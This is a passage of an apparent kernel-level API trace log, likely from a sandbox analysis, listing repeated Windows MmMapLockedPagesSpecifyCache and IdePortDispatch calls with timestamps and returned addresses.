AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c68000 [0109.674] IdePortDispatch () returned 0x103 [0109.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6b000 [0109.675] IdePortDispatch () returned 0x103 [0109.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6e000 [0109.678] IdePortDispatch () returned 0x103 [0109.703] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c78000 [0109.703] IdePortDispatch () returned 0x103 [0109.704] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7c000 [0109.704] IdePortDispatch () returned 0x103 [0109.706] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c7f000 [0109.706] IdePortDispatch () returned 0x103 [0109.707] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c82000 [0109.707] IdePortDispatch () returned 0x103 [0109.707] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c85000 [0109.707] IdePortDispatch () returned 0x103 [0109.708] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0109.708] IdePortDispatch () returned 0x103 [0109.709] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8b000 [0109.709] IdePortDispatch () returned 0x103 [0109.710] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8e000 [0109.710] IdePortDispatch () returned 0x103 [0109.710] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0109.710] IdePortDispatch () returned 0x103 [0109.711] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0109.711] IdePortDispatch () returned 0x103 [0109.711] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c98000 [0109.711] IdePortDispatch () returned 0x103 [0109.712] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c9c000 [0109.712] IdePortDispatch () returned 0x103 [0109.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce2000 [0109.717] IdePortDispatch () returned 0x103 [0109.721] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf1000 [0109.721] IdePortDispatch () returned 0x103 [0109.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf4000 [0109.722] IdePortDispatch () returned 0x103 [0109.723] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf7000 [0109.723] IdePortDispatch () returned 0x103 [0109.724] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfa000 [0109.724] IdePortDispatch () returned 0x103 [0109.725] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1a000 [0109.725] IdePortDispatch () returned 0x103 [0109.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1d000 [0109.726] IdePortDispatch () returned 0x103 [0109.727] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d20000 [0109.727] IdePortDispatch () returned 0x103 [0109.728] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d23000 [0109.728] IdePortDispatch () returned 0x103 [0109.733] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003462000 [0109.733] IdePortDispatch () returned 0x103 [0109.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003465000 [0109.734] IdePortDispatch () returned 0x103 [0109.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003468000 [0109.735] IdePortDispatch () returned 0x103 [0109.736] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800346b000 [0109.736] IdePortDispatch () returned 0x103 [0109.738] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c8000 [0109.738] IdePortDispatch () returned 0x103 [0109.739] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cb000 [0109.739] IdePortDispatch () returned 0x103 [0109.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ce000 [0109.741] IdePortDispatch () returned 0x103 [0109.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d1000 [0109.741] IdePortDispatch () returned 0x103 [0109.742] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d4000 [0109.742] IdePortDispatch () returned 0x103 [0109.743] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d7000 [0109.743] IdePortDispatch () returned 0x103 [0109.743] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034da000 [0109.743] IdePortDispatch () returned 0x103 [0109.745] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003521000 [0109.745] IdePortDispatch () returned 0x103 [0109.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003524000 [0109.746] IdePortDispatch () returned 0x103 [0109.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003527000 [0109.746] IdePortDispatch () returned 0x103 [0109.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354a000 [0109.748] IdePortDispatch () returned 0x103 [0109.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354d000 [0109.748] IdePortDispatch () returned 0x103 [0109.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354f000 [0109.748] IdePortDispatch () returned 0x103 [0109.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003552000 [0109.749] IdePortDispatch () returned 0x103 [0109.751] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003555000 [0109.751] IdePortDispatch () returned 0x103 [0109.752] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003558000 [0109.752] IdePortDispatch () returned 0x103 [0109.753] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355b000 [0109.753] IdePortDispatch () returned 0x103 [0109.755] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357b000 [0109.755] IdePortDispatch () returned 0x103 [0109.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003595000 [0109.821] IdePortDispatch () returned 0x103 [0109.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003598000 [0109.822] IdePortDispatch () returned 0x103 [0109.824] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359c000 [0109.824] IdePortDispatch () returned 0x103 [0109.824] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359f000 [0109.824] IdePortDispatch () returned 0x103 [0109.825] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a2000 [0109.825] IdePortDispatch () returned 0x103 [0109.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a5000 [0109.826] IdePortDispatch () returned 0x103 [0109.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a8000 [0109.827] IdePortDispatch () returned 0x103 [0109.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba3000 [0109.829] IdePortDispatch () returned 0x103 [0109.830] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf6000 [0109.830] IdePortDispatch () returned 0x103 [0109.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bfa000 [0109.831] IdePortDispatch () returned 0x103 [0109.848] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0109.848] IdePortDispatch () returned 0x103 [0109.851] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c13000 [0109.851] IdePortDispatch () returned 0x103 [0109.852] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c16000 [0109.852] IdePortDispatch () returned 0x103 [0109.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c86000 [0109.854] IdePortDispatch () returned 0x103 [0109.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0109.855] IdePortDispatch () returned 0x103 [0109.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8a000 [0109.856] IdePortDispatch () returned 0x103 [0109.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8c000 [0109.857] IdePortDispatch () returned 0x103 [0109.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8f000 [0109.857] IdePortDispatch () returned 0x103 [0109.858] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd3000 [0109.858] IdePortDispatch () returned 0x103 [0109.859] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd6000 [0109.859] IdePortDispatch () returned 0x103 [0109.863] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1c000 [0109.863] IdePortDispatch () returned 0x103 [0109.863] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1f000 [0109.863] IdePortDispatch () returned 0x103 [0109.866] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d22000 [0109.866] IdePortDispatch () returned 0x103 [0109.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d24000 [0109.867] IdePortDispatch () returned 0x103 [0109.867] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d27000 [0109.867] IdePortDispatch () returned 0x103 [0109.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d29000 [0109.868] IdePortDispatch () returned 0x103 [0109.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d44000 [0109.870] IdePortDispatch () returned 0x103 [0109.870] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d48000 [0109.871] IdePortDispatch () returned 0x103 [0109.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d8e000 [0109.872] IdePortDispatch () returned 0x103 [0109.872] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d91000 [0109.872] IdePortDispatch () returned 0x103 [0109.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003893df0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d94000 [0109.873] IdePortDispatch () returned 0x103 [0109.873] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d99000 [0109.873] IdePortDispatch () returned 0x103 [0109.875] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003423000 [0109.875] IdePortDispatch () returned 0x103 [0109.876] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003426000 [0109.876] IdePortDispatch () returned 0x103 [0109.876] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342a000 [0109.876] IdePortDispatch () returned 0x103 [0109.877] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342c000 [0109.877] IdePortDispatch () returned 0x103 [0109.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0109.878] IdePortDispatch () returned 0x103 [0109.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003443000 [0109.878] IdePortDispatch () returned 0x103 [0109.880] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a7000 [0109.880] IdePortDispatch () returned 0x103 [0109.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ab000 [0109.881] IdePortDispatch () returned 0x103 [0109.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003534000 [0109.883] IdePortDispatch () returned 0x103 [0109.884] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003536000 [0109.884] IdePortDispatch () returned 0x103 [0109.885] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357b000 [0109.885] IdePortDispatch () returned 0x103 [0109.886] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357f000 [0109.886] IdePortDispatch () returned 0x103 [0109.889] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003582000 [0109.889] IdePortDispatch () returned 0x103 [0109.890] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003584000 [0109.890] IdePortDispatch () returned 0x103 [0109.891] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003587000 [0109.891] IdePortDispatch () returned 0x103 [0109.892] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358a000 [0109.892] IdePortDispatch () returned 0x103 [0109.893] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003590000 [0109.893] IdePortDispatch () returned 0x103 [0109.958] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd4000 [0109.958] IdePortDispatch () returned 0x103 [0109.959] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd8000 [0109.959] IdePortDispatch () returned 0x103 [0109.959] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bdb000 [0109.959] IdePortDispatch () returned 0x103 [0109.960] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bde000 [0109.960] IdePortDispatch () returned 0x103 [0109.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c89000 [0109.962] IdePortDispatch () returned 0x103 [0109.962] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8c000 [0109.962] IdePortDispatch () returned 0x103 [0109.963] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c8f000 [0109.963] IdePortDispatch () returned 0x103 [0109.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd7000 [0109.964] IdePortDispatch () returned 0x103 [0109.966] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d60000 [0109.966] IdePortDispatch () returned 0x103 [0109.969] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d63000 [0109.969] IdePortDispatch () returned 0x103 [0109.979] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, 